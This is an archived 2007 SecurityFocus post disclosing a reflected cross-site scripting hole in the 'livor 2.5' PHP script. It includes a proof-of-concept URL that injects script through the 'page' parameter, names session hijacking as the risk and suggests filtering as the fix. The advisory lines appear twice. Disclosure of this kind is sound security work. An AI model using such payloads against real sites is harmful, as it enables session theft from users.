Back to list
|
Post reply
livor 2.5 Cross-Site Scripting Vulnerability
Apr 06 2007 08:51AM
rko thelegendkiller gmail com
/* livor 2.5 Cross-Site Scripting Vulnerability */
//Author: Arham Muhammad
//Source: http://www.arizona-dream.com/Usa/Divers/scriptsphp/scripts/livor.zip
//Vulnerable File: index.php
//XsS: http://victim/path/index.php?page=//</script><script>alert(/xss/);</scri
pt>
//Risk: Session Hijack
//Fix: The Variable "page" Need To Be Properly Filtered To Avoid Cross-Site Scripting Attempt!
//Greets: USMAN,tushy,Hackman,str0ke
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
//Author: Arham Muhammad
//Source: http://www.arizona-dream.com/Usa/Divers/scriptsphp/scripts/livor.zip
//Vulnerable File: index.php
//XsS: http://victim/path/index.php?page=//</script><script>alert(/xss/);</scri
pt>
//Risk: Session Hijack
//Fix: The Variable "page" Need To Be Properly Filtered To Avoid Cross-Site Scripting Attempt!
//Greets: USMAN,tushy,Hackman,str0ke
[ reply ]